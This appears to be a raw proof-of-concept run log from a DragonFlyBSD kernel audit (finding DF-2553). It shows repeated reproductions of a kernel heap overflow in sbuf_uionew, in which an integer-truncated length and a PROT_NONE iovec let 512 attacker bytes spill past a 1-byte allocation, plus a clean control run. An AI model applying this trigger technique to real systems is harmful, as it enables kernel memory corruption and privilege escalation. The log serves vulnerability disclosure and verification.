⬢ DragonFlyBSD Kernel Audit
DF-2553 / run.stress3.log
← back to finding ↓ download raw 
DF2553: === trigger mode=1 ===
DF2553[mode1]: uio_resid=0x100000000 (iov0: 0x200 committed attacker bytes + iov1: 0xfffffe00 at PROT_NONE page)
DF2553[mode1]: sbuf_new length param = (int)(resid+1) = 1; uiomove n = resid = 4294967296  <-- mismatch
DF2553[mode1]: hole = canary idx 0 @0xfffff8004f0c27a8 (verified: next kmalloc(1) returns exactly this chunk)
DF2553[mode1]: sbuf_uionew returned s=0 *error=14 (EFAULT: uiomove hit the PROT_NONE iov1 AFTER copying iov0)
DF2553[mode1]: uio after: resid=0xfffffe00 iov0.len=0 iov1.len=4294966784  => 512 attacker bytes were copied into s_buf before the fault
DF2553[scan]: canary 1 @0xfffff8004f0c27b0 = 4e 44 46 32 35 35 33 50  (byte0 expected 4e per user pattern at +8 past the 1-byte alloc)
DF2553[scan]: canary 2 @0xfffff8004f0c27b8 = 57 4e 44 46 32 35 35 33  (byte0 expected 57 per user pattern at +16 past the 1-byte alloc)
DF2553[scan]: canary 3 @0xfffff8004f0c27c0 = 50 57 4e 44 46 32 35 35  (byte0 expected 50 per user pattern at +24 past the 1-byte alloc)
DF2553[scan]: canary 4 @0xfffff8004f0c27c8 = 33 50 57 4e 44 46 32 35  (byte0 expected 33 per user pattern at +32 past the 1-byte alloc)
DF2553[scan]: canary 5 @0xfffff8004f0c27d0 = 35 33 50 57 4e 44 46 32  (byte0 expected 35 per user pattern at +40 past the 1-byte alloc)
DF2553[scan]: canary 6 @0xfffff8004f0c27d8 = 35 35 33 50 57 4e 44 46  (byte0 expected 35 per user pattern at +48 past the 1-byte alloc)
DF2553[scan]: corrupted=63 first=1 last=63 full-8-byte-pattern-match=63
DF2553[mode1]: *** KERNEL HEAP OVERFLOW REPRODUCED: attacker bytes past a 1-byte kmalloc ***
DF2553: === mode=1 done ===
DF2553: === trigger mode=1 ===
DF2553[mode1]: uio_resid=0x100000000 (iov0: 0x200 committed attacker bytes + iov1: 0xfffffe00 at PROT_NONE page)
DF2553[mode1]: sbuf_new length param = (int)(resid+1) = 1; uiomove n = resid = 4294967296  <-- mismatch
DF2553[mode1]: hole = canary idx 8191 @0xfffff8004f0c27a8 (verified: next kmalloc(1) returns exactly this chunk)
DF2553[mode1]: sbuf_uionew returned s=0 *error=14 (EFAULT: uiomove hit the PROT_NONE iov1 AFTER copying iov0)
DF2553[mode1]: uio after: resid=0xfffffe00 iov0.len=0 iov1.len=4294966784  => 512 attacker bytes were copied into s_buf before the fault
DF2553[scan]: canary 8128 @0xfffff8004f0c29a0 = 44 46 32 35 35 33 50 57  (byte0 expected 44 per user pattern at +504 past the 1-byte alloc)
DF2553[scan]: canary 8129 @0xfffff8004f0c2998 = 46 32 35 35 33 50 57 4e  (byte0 expected 46 per user pattern at +496 past the 1-byte alloc)
DF2553[scan]: canary 8130 @0xfffff8004f0c2990 = 32 35 35 33 50 57 4e 44  (byte0 expected 32 per user pattern at +488 past the 1-byte alloc)
DF2553[scan]: canary 8131 @0xfffff8004f0c2988 = 35 35 33 50 57 4e 44 46  (byte0 expected 35 per user pattern at +480 past the 1-byte alloc)
DF2553[scan]: canary 8132 @0xfffff8004f0c2980 = 35 33 50 57 4e 44 46 32  (byte0 expected 35 per user pattern at +472 past the 1-byte alloc)
DF2553[scan]: canary 8133 @0xfffff8004f0c2978 = 33 50 57 4e 44 46 32 35  (byte0 expected 33 per user pattern at +464 past the 1-byte alloc)
DF2553[scan]: corrupted=63 first=8128 last=8190 full-8-byte-pattern-match=63
DF2553[mode1]: *** KERNEL HEAP OVERFLOW REPRODUCED: attacker bytes past a 1-byte kmalloc ***
DF2553: === mode=1 done ===
DF2553: === trigger mode=1 ===
DF2553[mode1]: uio_resid=0x100000000 (iov0: 0x200 committed attacker bytes + iov1: 0xfffffe00 at PROT_NONE page)
DF2553[mode1]: sbuf_new length param = (int)(resid+1) = 1; uiomove n = resid = 4294967296  <-- mismatch
DF2553[mode1]: hole = canary idx 8191 @0xfffff8004f0c27a8 (verified: next kmalloc(1) returns exactly this chunk)
DF2553[mode1]: sbuf_uionew returned s=0 *error=14 (EFAULT: uiomove hit the PROT_NONE iov1 AFTER copying iov0)
DF2553[mode1]: uio after: resid=0xfffffe00 iov0.len=0 iov1.len=4294966784  => 512 attacker bytes were copied into s_buf before the fault
DF2553[scan]: canary 0 @0xfffff8004f0c27b0 = 4e 44 46 32 35 35 33 50  (byte0 expected 4e per user pattern at +8 past the 1-byte alloc)
DF2553[scan]: canary 1 @0xfffff8004f0c27b8 = 57 4e 44 46 32 35 35 33  (byte0 expected 57 per user pattern at +16 past the 1-byte alloc)
DF2553[scan]: canary 2 @0xfffff8004f0c27c0 = 50 57 4e 44 46 32 35 35  (byte0 expected 50 per user pattern at +24 past the 1-byte alloc)
DF2553[scan]: canary 3 @0xfffff8004f0c27c8 = 33 50 57 4e 44 46 32 35  (byte0 expected 33 per user pattern at +32 past the 1-byte alloc)
DF2553[scan]: canary 4 @0xfffff8004f0c27d0 = 35 33 50 57 4e 44 46 32  (byte0 expected 35 per user pattern at +40 past the 1-byte alloc)
DF2553[scan]: canary 5 @0xfffff8004f0c27d8 = 35 35 33 50 57 4e 44 46  (byte0 expected 35 per user pattern at +48 past the 1-byte alloc)
DF2553[scan]: corrupted=63 first=0 last=62 full-8-byte-pattern-match=63
DF2553[mode1]: *** KERNEL HEAP OVERFLOW REPRODUCED: attacker bytes past a 1-byte kmalloc ***
DF2553: === mode=1 done ===
DF2553: === trigger mode=0 ===
DF2553[mode0]: control uio_resid=256 (0x100)
DF2553[mode0]: OK s=0xfffff8008976ba80 err=0 s_size=257 s_len=256 data[0..7]=44 46 32 35 35 33 50 57
DF2553[mode0]: uio_resid after=0 (fully drained)
DF2553[scan]: corrupted=0 first=-1 last=-1 full-8-byte-pattern-match=0
DF2553: === mode=0 done ===